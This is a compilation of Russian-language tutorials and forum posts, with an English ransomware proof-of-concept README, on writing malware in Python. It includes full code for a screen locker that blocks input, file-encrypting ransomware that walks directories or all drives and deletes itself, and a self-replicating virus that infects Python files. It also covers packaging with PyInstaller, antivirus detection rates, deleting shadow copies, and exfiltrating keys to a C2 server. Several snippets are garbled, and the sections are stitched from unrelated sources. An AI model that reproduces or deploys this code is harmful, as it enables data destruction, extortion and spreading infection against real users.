Как написать шифровальщик на python

Как написать шифровальщик на Python
Как написать шифровальщик на Python

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep

Теперь возьмемся за основную часть программы.

# Создаем окно
root = Tk()
# Вырубаем защиту левого верхнего угла экрана
pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Задаем заголовок окна
root.title('From "hacker" with love')
# Открываем окно на весь экран
root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение
label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу
root.update()
sleep(0.2)
# Кликаем в центр окна
click(width/2, height/2)
# обнуляем ключ
k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства
while not k:
    on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook

hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event):
    global k, entry
    if entry.get() == "hacker":
        k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing():
    # Кликаем в центр экрана
    click(width/2, height/2)
    # Перемещаем курсор мыши в центр экрана
    moveTo(width/2, height/2)
    # Включаем полноэкранный режим
    root.attributes("-fullscreen", True)
    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
    root.protocol("WM_DELETE_WINDOW", on_closing)
    # Включаем постоянное обновление окна
    root.update()
    # Добавляем сочетание клавиш, которые будут закрывать программу
    root.bind('<Control-KeyPress-c>', callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open("Crypt.py", "w") as crypt:
    crypt.write('''
    текст программы
    ''')

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

import os
import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Задаем пароль и размер буфера
    password = "'''+str(password)+'''"
    buffer_size = 512*1024
    # Вызываем функцию шифрования
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Удаляем исходный файл
    os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir):
    # Перебор всех подпапок в указанной папке
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если это файл, шифруем его
        if os.path.isfile(path):
            crypt(path)
        # Если это папка, рекурсивно повторяем
        else:
            walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

import os
import sys

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            crypt(path)
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

import os
import sys

# Функция расшифровки
def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'''+str(password)+'''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

# Обход каталогов
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try:
                decrypt(path)
            except Error:
                pass
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys
import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):
    print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если нашли файл, проверяем его расширение
        if os.path.isfile(path):
            # Если расширение — py, вызываем virus
            if (os.path.splitext(path)[1] == ".py"):
                virus(path)
            else:
                pass
        else:
            # Если это каталог, заходим в него
            walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START #
# STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python):
    begin = "# START #n"
    end = "# STOP #n"
    # Читаем атакуемый файл, назовем его copy
    with open(sys.argv[0], "r") as copy:
        # Создаем флаг
        k = 0
        # Создаем переменную для кода вируса и добавляем пустую строку
        virus_code = "n"
        # Построчно проходим заражаемый файл
        for line in copy:
            # Если находим маркер начала, поднимаем флаг
            if line == begin:
                k = 1
                # Добавляем маркер в зараженный код
                virus_code += begin
            # Если мы прошли начало, но не дошли до конца, копируем строку
            elif k == 1 and line != end:
                virus_code += line
            # Если дошли до конца, добавляем финальный маркер и выходим из цикла
            elif line == end:
                virus_code += end
                break
            else:
                pass
    # Снова читаем заражаемый файл
    with open(python, "r") as file:
        # Создаем переменную для исходного кода
        original_code = ""
        # Построчно копируем заражаемый код
        for line in file:
            original_code += line
            # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
            if line == begin:
                vir = True
                break
            # Если маркера нет, опускаем флаг vir
            else:
                vir = False
    # Если флаг vir опущен, пишем в файл вирус и исходный код
    if not vir:
        with open(python, "w") as paste:
            paste.write(virus_code + "nn" + original_code)
    else:
        pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

pip install PyInstaller

И вводим команду

PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

  • файл Crypt.exe не понравился 12 антивирусам из 72;
  • файл Locker.exe — 10 антивирусам из 72;
  • файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Источник

Приветствую всех! Прежде чем читать статью предупреждаю, что показываю это все в ознакомительных целя. Приступим к кодингу.
Для начала я определился через какой алгоритм буду шифровать файлы. Я выбрал RSA.
Нашел туториал

Ссылка скрыта от гостей

. Я начал с генерации ключей, но у меня появилась ошибка, хотя я скопировал код сайта.
Я разобрался надо просто установить pycryptodome

Окей, ошибки я миновал, все работает.

Код:

from Crypto.PublicKey import RSA

code = 'nooneknows'
key = RSA.generate(2048)

encrypted_key = key.exportKey(
    passphrase=code,
    pkcs=8,
    protection="scryptAndAES128-CBC"
)

with open('my_private_rsa_key.bin', 'wb') as f:
    f.write(encrypted_key)

with open('my_rsa_public.pem', 'wb') as f:
    f.write(key.publickey().exportKey())

Этот кусок кода сгенерирует нам ключи.

Так теперь мы через os.walk() сделаем так, чтобы все файлы с нужным нам форматов добавлялись в список.

Код:

def GetDirectory(path):

    for rootdir, dirs, files in os.walk(path):

            for file in files:

                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):

                    sek = os.path.join(rootdir, file)

                    tmp.append(sek)

Обратите внимание там где ['doc','mov'] вы можете продолжать список, например: ['doc','mov','png','mp3']

Теперь напишем функцию получения дисков в системе.

Код:

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue

Определим переменные:

Код:

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\'

Напишем функцию гена ключей:

Код:

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

И теперь самое интересное, функция шифровки:

Код:

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

Таким образом мы будем передавать полученные диски в os.walk()

Код:

for d in disks:
    GetDirectory(d)

Когда os.walk() соберет файлы с нужным нам форматом мы их прогоним через функцию crypt которая зашифрует их.

Код:

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

Если будет ошибка что прав недостаточно, то файл пропускается.
Теперь сделаем так, чтобы он записывал в .locked файл, что он зашифровал, чтобы потом быстро можно было дешифровать.

Код:

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('n')
handle.close()
print 'done'

Вот что у нас получилось:

Код:

# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\'

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue



def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
            for file in files:
                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek)

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

GenRSA()
GetDisk()

for d in disks:
    GetDirectory(d)

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('n')
handle.close()
print 'done'

Теперь мы должны сделать расшифровку, верно? Я не буду показывать полноценный код для того, чтобы если вам действительно это интересно, вы доделаете сами. Я покажу код, который просто считает ОДИН файл, расшифровывает его и выводит дату на экран. Вот код:

Код:

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import os #Импортим либы


code = 'loli'
appdata = os.environ['appdata']
appdata += r'\' #Вводим переменные

with open('lx.txt', 'rb') as fobj:
    private_key = RSA.import_key(
        open(appdata + 'prk.bin').read(), #prk.bin это приватный ключ
        passphrase=code
    ) # Открываем зашифрованный файл

    enc_session_key, nonce, tag, ciphertext = [
        fobj.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)
    ]

    cipher_rsa = PKCS1_OAEP.new(private_key)
    session_key = cipher_rsa.decrypt(enc_session_key)

    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
    data = cipher_aes.decrypt_and_verify(ciphertext, tag) #Расшифровываем

print(data)# Показываем дату расшифрованную

То есть что вам надо доделать в расшифровке, считать с файла cripted.lock пути к файлам, которые он зашифровал, и в цикл все это дело запихать и все файлы расшифровываем не выводим их содержимое а перезаписуем. Также можете по вкусу добавить автозагрузку, смена обоев и прочее. Еще один важный момент, у нас два ключа: публичный и приватный, приватный нужен для расшифровки поэтому его желательно хранить на сервере.
Я вам дал основу, дальше вы можете модифицировать этот код. Спасибо за внимание и не совершайте глупостей)

PS При считывание с файла в списке будет n, с ним файлы расшифровываться не будут, чтобы убрать его(n) используйте tmp = map(lambda s: s.strip(),tmp)
PSPS Также стоит сделать так чтобы удалялись shadowcopy, чтобы назад откатиться не могли.

Ransomware-PoC

A simple python ransomware PoC that can be used for Atomic Red Team: ATT&CK Technique: Data Encrypted for Impact (T1486). The project is built off CryptSky and full credits goes to deadPix3l for his code. The updated code demonstrates a typical ransomware flow and it is just one of many ways to perform ransomware encryption.

TLDR:

  1. Generates AES key to encrypt local file (hardcoded in PoC).
  2. The attacker’s embedded RSA public key (intentionally hardcoded in PoC) is used to encrypt the AES key. The private key is already stored in the attacker’s C2 server. The encrypted text is sent to the C2 server and displayed for the victim.
  3. Ransom note is shown. When the ransom is paid, a decryptor is provided.

Warning: Be extra careful of running the program as it will modify files. Ensure the path is correct and be wary in running with administrative privileges.

Supported

  • python3 (python2 for Linux/macOS should work)
  • Windows, Linux and macOS

Versions

There are two versions:

Version 1: main.py

  • Basic version — Terminal Only

Version 2: main_v2.py

  • Advanced version
  • Ransom note pop up
  • Exfiltrate key back to C2 given domain and port

How to run

Install dependencies:

pip3 install pycryptodome

Default:

Encrypt: python3 main.py -e or python3 main_v2.py -e
Decrypt: python3 main.py -d or python3 main_v2.py -e

Windows with specific path:

Encrypt: python3 main_v2.py -p "C:usersjimmydesktoptest_ransomware" -e
Decrypt: python3 main_v2.py -p "C:usersjimmydesktoptest_ransomware" -d

Linux/macOS with specific path:

Encrypt: python3 main_v2.py -p "/home/jimmy/test_ransomware" -e
Decrypt: python3 main_v2.py -p "/home/jimmy/test_ransomware" -d

Variables to change:

  • Ransomware Extension [default: .wasted for WastedLocker]
  • AES Key
  • RSA Public key
  • RSA Private key (to be removed). Only used for decryptor.
  • Domain and port for exfiltration (main_v2)

NB: As this is simply a PoC for Atomic Red Team, there is no real need to change the keys or other variables.

Standalone Executable

Tested with python 2.7 with pyinstaller 3.6 and python 3.7 with pyinstaller 4.0. Please note that python 3.8 with pyinstaller 4.0 have known issues as this was incompatible with macOS.

Windows and Linux:

pip3 install pyinstaller
pyinstaller --onefile main_v2.py or py -m PyInstaller --onefile main_v2.py

macOS:

(python 3.7)
python3 -m pip install pyinstaller
pyinstaller --onefile main_v2.py

(python 2.7)
pip install -I pyinstaller==3.6
python -m PyInstaller --onefile main_v2.py

See /bin folder for binaries.

Windows with specific path:

Encrypt: main_v2.exe -p "C:usersjimmydesktoptest_ransomware" -e
Decrypt: main_v2.exe -p "C:usersjimmydesktoptest_ransomware" -d

Linux with specific path:

Encrypt: ./main_v2 -p "/home/jimmy/test_ransomware" -e
Decrypt: ./main_v2 -p "/home/jimmy/test_ransomware" -d

macOS with specific path:

Encrypt: ./main_v2_macos_py2 -p "/Users/jimmy/test_ransomware" -e
Decrypt: ./main_v2_macos_py2 -p "/Users/jimmy/test_ransomware" -d

Miscellaneous

One-click execution

I originally added arguments to prevent accidental clicks and mess up. To simulate a one-click malware, comment and uncomment the following:

Comment

if len(sys.argv) <= 1:
    print('[*] Ransomware - PoCn')
    # banner()        
    print('Usage: python3 main.py -h')
    print('{} -h for help.'.format(sys.argv[0]))
    exit(0)

# Parse arguments
args = parse_args()
encrypt = args.encrypt
decrypt = args.decrypt

absolute_path = str(args.path)

Uncomment

absolute_path = "None"
encrypt = True 
decrypt = False

Multiple folders

There is support for multiple paths, add them as such:

startdirs = [os.environ['USERPROFILE'] + '\Desktop', 
                        os.environ['USERPROFILE'] + '\Documents',
                        os.environ['USERPROFILE'] + '\Music',
                        os.environ['USERPROFILE'] + '\Desktop',
                        os.environ['USERPROFILE'] + '\Onedrive']

Demo

Version 1

Ransomware-PoC

Version 2

main_v2-PoC

Additional Features

  • Added RSA asymmetric encryption of the AES key.
  • Added autodetection on Windows, Linux or macOS.
  • Added path argument to specify a directory.
  • Fixed handling of renaming files with adding/removing of the ransomware extension.
  • Added ransomware note pop up.
  • Added exfiltration of key back to C2.

Credit

  • CryptSky (deadPix3l and contributors) for base project
  • Demonware (Cerberus) (StrangerealIntel) for ransom image and exfiltration

Размышляя о шифровании после статьи о чате, я наткнулся на очень простую и удобную библиотеку pyAesCrypt . Она использует симметричный алгоритм шифрования AES256 -CBC и очень проста в использовании для шифрования файлов. Вы также можете выполнить шифрование/расшифровку в памяти (используя BytesIO) что может пригодиться. Правда я еще не разобрался с этим.

Давайте теперь просто опробуем ее и зашифруем все нафиг ). Вот простой пример зашифровки файла:

import os
def crypt(dir):
import pyAesCrypt
print('-----------------------------------')
password = input('Enter key: ') # Вводим ключ шифрования
bufferSize = 512*1024 #Размер буфера 512 килобайт, не нужно его делать очень большим
pyAesCrypt.encryptFile(str(dir),str(dir)+'.aes',password, bufferSize) # Собственно сама функция шифрования, создаст зашифрованный файл с расширение .aes
print('[Crypted] '+str(dir)+'.aes')
dir = input('Enter file name: ') # Вводим имя файла
crypt(dir)

Вот такой в итоге получился зашифрованный файл

Скучно ? Давайте добавим в наш код парсера директорий и файлов. Зашифруем все в указанной директории.

def parsdir(dir):
import os
for name in os.listdir(dir):
if os.path.isfile(os.path.join(dir,name)):
print ('file: '+os.path.join(dir,name))
else :
if os.path.isdir(os.path.join(dir,name)) :
parsdir(os.path.join(dir,name))

  • os.path.isfile(path) — является ли путь файлом.
  • os.path.isdir(path) — является ли путь директорией.
  • os.path.join(path1[, path2[, …]]) — соединяет пути с учётом особенностей операционной системы.
  • os.listdir(path=».») — список файлов и директорий в папке.

Расшифровка.

Конечно любое шифрование имеет смысл если можно расшифровать. Сделать это в этой библиотеке также просто как и зашифровать:

 pyAesCrypt.decryptFile("data.txt.aes","data.txt",password,bufferSize) 

Вообще мы сделаем все интересней. При шифрование файлов в каталоге будет создаваться автоматически файл Питона для расшифровки всех файлов. Нам останется его только запустить.

with open((dir+'/decrypt.py'),'w') as crypt: #Создаем файл 
crypt.write(''' # Записываем в него текст
import os
def decrypt (file):
import pyAesCrypt
print ('--------------------------')
password = "'''+str(password)+'''" #Вставка значения переменной
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file),str(os.path.splitext(file)[0]),password,bufferSize)
print('[decryptFile]'+str(os.path.splitext(file)[0]))
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
#print (name)
if os.path.isfile(os.path.join(dir,name)):
print ('file: '+os.path.join(dir,name))
# crypt (os.path.join(dir,name))
try:decrypt(os.path.join(dir,name))
except: pass
else :
if os.path.isdir(os.path.join(dir,name)) :
walk(os.path.join(dir,name))
walk("'''+str(dir)+'''")
''')

Ну вот собственно и все. Дальше я думаю вы лучше меня справитесь.

Ошибка в тексте? Выделите её и нажмите «Ctrl + Enter»

Статья написана стпешиал фор влми конкурс

Алоха, вообщем сегодня я расскажу и покажу как написать небольшого шифровальщика-локера на языке программирования Python. Так же напишем билдер под него.

По традиции скачиваем питон с официального сайта ТЫК
Дальше, чтобы пользоваться функцией pip, нужно добавить ее в path. Для этого переходим в дополнительные параметры системы, параметры среды, ищем строчку path, клацаем изменить и в конце через точку с запятой добавляем путь к папке с питоном и папке skripts которая лежит в папке питона
upload_2018-6-13_10-59-27.png

C:UsersИмя пользователяAppDataLocalProgramsPythonPython36-32;C:UsersИмя пользователяAppDataLocalProgramsPythonPython36-32Scripts

Наш шифровальщик будет шифровать по стандартному алгоритму AES (с отдельным ключом естесна)
Вообще можно наляпать туда множество плюшек типа, обфускации, шифрования данных по трем алгоритмам, запуск онли на юса машинах и так далее ( да перечитал описание к Tron’у), но я покажу лишь принцип работы и его чистый код.

Поехали
ПИШЕМ ШИФРОВАЛЬЩИК

Начнем с того что у любого шифровальщика должно быть два файла это файл который шифрует данные и файл который их дешифрует.
Начнем с файла шифровальщика

Сначала импортим модули отвечающие за шифрование и действия в системе

import pyAesCrypt
import os, sys

Далее создаем функцию которая шифрует данные

def crypt(file):
    print("---------------------------------------------------------------" )
    password="hello"
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
    print("[crypted] '"+str(file)+".crp'")
    os.remove(file)

Не обращайте внимания на функции print они сделаны для украшения окна билдера.
Функция password это и есть наш ключь шифрования (сюда можно вставит любой пасс он и будет являться ключом).
Далее создаем функцию которая лазит по директориям

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir,name)
        if os.path.isfile(path): crypt(path)
        else: walk(path)
walk("C:UsersUserDesktopпапка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))

Эта функция лазит по директориям и чекает файлы, если это отдельный файл то она его шифрует если это папка то переходит в нее и шифрует все там.
Здесь upload_2018-6-13_11-24-56.pngважно указывать именно директорию которую нужно зашифровать а не отдельный файл иначе программа крашнется
В конце удаение файла чтобы из него нельзя было достать ключ.

Все наш шифровальщик готов, теперь нужно сделать дешифратор.

import os, sys
def decrypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="hello"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("C:UsersUserDesktopпапка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))

Так же создается две функции которая дешифрует и чекает директории

ПИШЕМ БИЛДЕР ДЛЯ ШИФРОВАЛЬЩИКА

direct=input("Write the root directory: ")
password=input("Write the password: ")
print("---------------------------------------------------------------" )
with open("crypt.py","w") as crypt:
    crypt.write('''
import os, sys
def crypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
    print("[crypted] '"+str(file)+".crp'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path): crypt(path)
        else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
    print("[+] File 'crypt.py' successfully saved!")
with open("key.py","w") as key:
    key.write('''
import os, sys
def decrypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
    print("[+] File 'key.py' successfully saved!")
print("---------------------------------------------------------------" )

При запуске билдер запускается командная строка и вы вводите параметры которые учитываются при билде файлов( генерируется 2 файла, шифровальщик и ключ)
Оба файла сохраняются в директорию с билдером.

ПИШЕМ ЛОКЕР
Я уже видел локер на влми от
@danaforevr, мой локер будет чутка по проще)
